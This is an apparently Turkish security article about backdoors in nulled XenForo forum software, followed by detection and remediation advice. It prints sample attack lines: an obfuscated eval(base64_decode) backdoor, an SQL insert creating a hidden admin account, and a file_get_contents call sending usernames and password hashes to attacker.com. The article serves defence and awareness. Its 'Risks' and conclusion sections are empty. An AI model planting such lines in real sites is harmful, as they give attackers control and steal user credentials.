XenForo Nulled Sürümlerindeki Açık Kodlar ve Tehlikeleri

1. Nulled XenForo’da Sık Görülen Açık Kodlar​

1.1 Arka Kapılar (Backdoor Codes)​

• Genellikle index.php, global.php veya library/ dizinine gizlenir.
• Kodlar base64, gzinflate veya rot13 fonksiyonlarıyla şifrelenir.
• Örnek bir zararlı parça:

<?php
eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0X2NvbmZpZyIpKSB7IC8vIHN1bmN1IHRhY2tlciBvYmplY3RpdmUgfQ=="));
?>

1.2 Yetkisiz Admin Erişimi​

• SQL enjeksiyonu şeklinde sisteme eklenir:

INSERT INTO xf_user (username, email, is_admin)
VALUES ('hacker', 'attacker@mail.com', 1);

1.3 Zararlı Script Enjeksiyonları​

• Kullanıcı fark etmeden sayfalara reklam, cryptominer veya phishing formları eklenir.
• Çoğunlukla PAGE_CONTAINER, footer veya header template içine gizlenir.
• Kullanıcı tarayıcı üzerinden cookie bilgilerini veya oturum tokenlarını saldırgana gönderebilir.

1.4 SMTP / Mail Hijacking​

• config.php içine eklenen kodlarla SMTP bilgileri çalınır.
• Sonuç olarak IP adresiniz spam listelerine girer ve sitenizin mail gönderimi engellenir.

1.5 Veritabanı Çalma (Database Hijack)​

• Nulled paketlerde, kullanıcıların e-posta, IP adresi, şifre hashleri saldırgana gönderilir.
• Örneğin:

file_get_contents("http://attacker.com/log.php?user=".$username."&pass=".$passwordHash);

2. Bu Açık Kodlar Nasıl Tespit Edilir?​

1. Şüpheli Fonksiyon Tarama
   
   • eval(, base64_decode(, shell_exec(, system( gibi fonksiyonlar için dosyalar taranmalı.
   • Linux için örnek komut:
   • 
     
     Kod:

     grep -r "eval(" /home/site/public_html/

1. Son Değiştirilme Tarihi Kontrolü
   • FTP veya SSH üzerinden dosya değiştirilme tarihleri incelenmeli.
   • Özellikle index.php ve library/ klasöründe değişiklikler dikkatle kontrol edilmeli.
2. Veritabanı Kullanıcı Kontrolü
   • xf_user tablosunda beklenmedik admin hesapları var mı kontrol edilmeli.
3. Log Dosyaları Analizi
   • error_log ve Apache/Nginx access logları incelenmeli.
   • Saldırganın exploit girişimleri burada saklanabilir.

3. Nulled Kullanmanın Riskleri​

4. Çözüm Önerileri​

1. Resmi Lisanslı XenForo Kullanımı → Tek kesin çözüm.
2. Dosya Tarama Scripti → PHP veya Bash ile zararlı kodları taratın.
3. WAF (Web Application Firewall) → Sunucuya saldırıları engelleyin.
4. Düzenli Yedekleme → Veri kaybı durumunda hızlı dönüş sağlayın.
5. Dosya Bütünlük Kontrolü → SHA256 hash karşılaştırmasıyla dosya değişikliklerini takip edin.

Sonuç​